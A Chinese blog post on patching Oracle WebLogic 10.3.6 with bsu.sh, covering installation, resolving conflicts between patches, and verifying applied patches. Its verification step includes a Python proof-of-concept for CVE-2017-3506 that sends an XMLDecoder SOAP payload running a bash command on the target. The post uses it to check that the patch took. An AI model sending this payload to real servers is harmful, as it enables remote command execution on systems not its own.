weblogic打补丁方法

weblogic虽然是大牌oracle的重量级中间件,但是也还是会时不时爆出一些漏洞的,这些漏洞如果不及时打补丁补救,很快会被一些黑客拿来去一些网站换积分或者当挂马做肉鸡。废话不多说,因为weblogic打补丁的方式基本都是一个套路,这里记录下weblogic的打补丁方法。
1、环境

{MW_HOME} = /usr/local/bea
{WL_HOME} = /usr/local/bea/wlserver_10.3

下面使用{MW_HOME}和{WL_HOME}代替真正的路径
2、将补丁文件拷贝至{MW_HOME}/utils/bsu/cache_dir下并解压,通常会得到一个jar包和一个patch-catalog_xxxxx.xml这样的文件以及一个readme文档(英文好的完全可以看readme文档搞定、、、)
3、进入{MW_HOME}/utils/bsu/目录修改bsu.sh中内存参数为MEM_ARGS="-Xms1500m -Xmx1500m",这里内存大小视不同的补丁会有区别,过小的话会报错,不缺内存的话建议直接改大一点
4、执行安装补丁命令

bsu.sh -install -patch_download_dir={MW_HOME}/utils/bsu/cache_dir -patchlist={PATCH_ID} -prod_dir={WL_HOME}

粘贴格式可能会有问题,报错就手敲一遍、
5、这里是漫长的等待,漫长等待的结果有两种,一种是安装成功

Checking for conflicts............
No conflict(s) detected

Installing Patch ID: FMJJ..
Result: Success

另一种是补丁冲突~~

Checking for conflicts...........
Conflict(s) detected - resolve conflict condition and execute patch installation again
Conflict condition details follow:
Patch FMJJ is mutually exclusive and cannot coexist with patch(es): EJUW,ZLNA

这里提示看到该补丁和之前打的补丁EJUW和ZLNA相冲突,这时候就需要先卸载之前安装的补丁才能继续进行安装、
执行命令

./bsu.sh -remove -verbose -patchlist=EJUW -prod_dir={WL_HOME}

这里又是漫长的等待,weblogic会检测卸载是否有依赖,类似这种跟2个或以上补丁冲突的随便找一个(建议先删列表中的最后一个补丁、),然后漫长的等待之后系统会提示你想删除这个补丁还要先删除xxx补丁才行、、、

Checking for conflicts.......
Conflict(s) detected - resolve conflict condition and execute patch removal again
Conflict condition details follow:
The selected patch cannot be removed until the following patch(es) are removed first: ZLNA

然后只能按weblogic说的滚去挨个删完

Checking for conflicts...........
No conflict(s) detected

Starting removal of Patch ID: EJUW
Removing /usr/local/bea/modules/com.bea.core.weblogic.stax_1.11.0.0.jar
Removing /usr/local/bea/wlserver_10.3/server/lib/wlt3jmsclient.jar
Removing /usr/local/bea/wlserver_10.3/server/lib/wlt3client.jar
Removing /usr/local/bea/modules/com.bea.core.stax2_2.0.0.0_3-0-3.jar
Removing /usr/local/bea/wlserver_10.3/bugsfixed/WLS-PSU-bugsfixed.txt
Removing /usr/local/bea/wlserver_10.3/bugsfixed/20780171-WLS-10.3.6.0.12_PSU_WebServices-ClientSide-Configuration-README.txt
Restoring /usr/local/bea/wlserver_10.3/server/lib/consoleapp/APP-INF/lib/commons-fileupload.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wljmxclient.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.oracle.cie.config-wls-schema_10.3.6.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/common/wlst/modules/jython-modules.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/common/bin/wlsifconfig.sh from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wlstestclient.ear from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wlthint3client.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.utils.full_1.10.0.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.bea.opensaml_1.0.0.0_6-2-0-0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/ws.databinding_1.3.0.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/common/deployable-libraries/jsf-2.0.war from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/schema/weblogic-domain-binding.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/webserviceclient+ssl.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wlw-langx.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wljmsclient.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wlsafclient.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.apache_1.3.0.1.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wlsaft3client.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wseeclient.zip from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.common.security.saml2_1.0.0.0_6-2-0-0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/glassfish.jstl_1.2.0.1.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wls-api.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/common/deployable-libraries/jsf-1.2.war from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/common/deployable-libraries/jstl-1.2.war from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.descriptor.wl.binding_1.4.0.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.oracle.cie.config-wls_7.2.0.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/jms-notran-adp.rar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/jms-xa-adp.rar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/jdbcdrivers.xml from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/uddiexplorer.war from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/ws.databinding.plugins_1.3.0.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/webserviceclient.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wlclient.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/wseeclient.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.utils_1.10.0.0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/wlserver_10.3/server/lib/consoleapp/webapp/WEB-INF/lib/console.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Restoring /usr/local/bea/modules/com.bea.core.bea.opensaml2_1.0.0.0_6-2-0-0.jar from /usr/local/bea/patch_wls1036/backup/backup.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/BUG20780171_1036012.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/com.bea.core.apache.commons.fileupload_1.0.0.0_1-3-1.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/com.bea.core.stax2_2.0.0.0_3-0-3.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/glassfish.jaxb.xjc_1.2.0.0_2-1-14.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/glassfish.jaxb_1.2.0.0_2-1-14.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/glassfish.jaxp_1.4.5.0.jar
Removing /usr/local/bea/patch_wls1036/patch_jars/glassfish.jaxws.mimepull_1.1.0.0_1-3-8.jar
Updating /usr/local/bea/patch_wls1036/profiles/default/sys_manifest_classpath/weblogic_patch.jar
Old manifest value: Class-Path= ../../../patch_jars/BUG20780171_1036012.jar ../../../patch_jars/com.bea.core.apache.commons.fileupload_1.0.0.0_1-3-1.jar ../../../patch_jars/com.bea.core.stax2_2.0.0.0_3-0-3.jar ../../../patch_jars/glassfish.jaxb.xjc_1.2.0.0_2-1-14.jar ../../../patch_jars/glassfish.jaxb_1.2.0.0_2-1-14.jar ../../../patch_jars/glassfish.jaxp_1.4.5.0.jar ../../../patch_jars/glassfish.jaxws.mimepull_1.1.0.0_1-3-8.jar
New manifest value: Class-Path=
Result: Success

然后继续安装,这时候就只会出现成功了

Checking for conflicts............
No conflict(s) detected

Installing Patch ID: FMJJ..
Result: Success

6、查看weblogic的补丁列表中是否已出现刚才安装的补丁

[bsu]# ./bsu.sh -prod_dir=/usr/local/bea/wlserver_10.3 -status=applied -verbose -view
ProductName:       WebLogic Server
ProductVersion:    10.3 MP6
Components:        WebLogic Server/Core Application Server,WebLogic Server/Admi
                   nistration Console,WebLogic Server/Configuration Wizard and 
                   Upgrade Framework,WebLogic Server/Web 2.0 HTTP Pub-Sub Serve
                   r,WebLogic Server/WebLogic SCA,WebLogic Server/WebLogic JDBC
                    Drivers,WebLogic Server/Third Party JDBC Drivers,WebLogic S
                   erver/WebLogic Server Clients,WebLogic Server/WebLogic Web S
                   erver Plugins,WebLogic Server/UDDI and Xquery Support,WebLog
                   ic Server/Evaluation Database,WebLogic Server/Workshop Code 
                   Completion Support
BEAHome:           /usr/local/bea
ProductHome:       /usr/local/bea/wlserver_10.3
PatchSystemDir:    /usr/local/bea/utils/bsu
PatchDir:          /usr/local/bea/patch_wls1036
Profile:           Default
DownloadDir:       /usr/local/bea/utils/bsu/cache_dir
JavaVersion:       1.6.0_29
JavaVendor:        Sun


Patch ID:          FMJJ
PatchContainer:    FMJJ.jar
Checksum:          591477727
Severity:          optional
Category:          General
CR/BUG:            26519424
Restart:           true
Description:       WLS PATCH SET UPDATE 10.3.6.0.171017
WLS PATCH SET UPDATE 10
                   .3.6.0.171017

7、根据已有的POC脚本或者其他方式检测漏洞是否还在
这里是本次漏洞CEV-2017-3506对应的Python检测脚本,大神的博客扒来用下,勿怪勿怪~

#!/usr/bin/env python
# coding:utf-8
# auther:dayu(大神的签名)
import requests
import re
from sys import argv

heads = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/wls-wsat/CoordinatorPortType'
    post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
                <void index="2">
                  <string>ls</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''

    try:
        response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
        response = response.text
        response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
    except Exception, e:
        response = ""

    if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
        result = "Vulnerability exist"
        return result
    else:
        result = "No Vulnerability"
        return result


if __name__ == '__main__':
    if len(argv) == 1:
        print "python 参数 url:port"
        exit(0)
    else:
        url = argv[1]
    result = poc(url=url)
    print result

ps:本次记录是借用安装CEV-2017-3506补丁的机会,安装的补丁ID:FMJJ,安装冲突ID列表:ZLNA,EJUW。
本人用Python写了一个简单的自动打补丁脚本(虽然打补丁命令不多也不复杂,但是扛不住每个命令都要执行20几分钟,几条命令执行下来还是相当的耗时,还是写了脚本,也适合多台机器的安装),由于python技术有限,代码就不拿来献丑了,有需要的可以私聊我0.0

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,538评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,800评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,329评论 0 238
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,725评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,089评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,449评论 1 212
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,758评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,448评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,152评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,432评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,933评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,289评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,921评论 3 234
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,023评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,781评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,477评论 2 270
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,381评论 2 263

推荐阅读更多精彩内容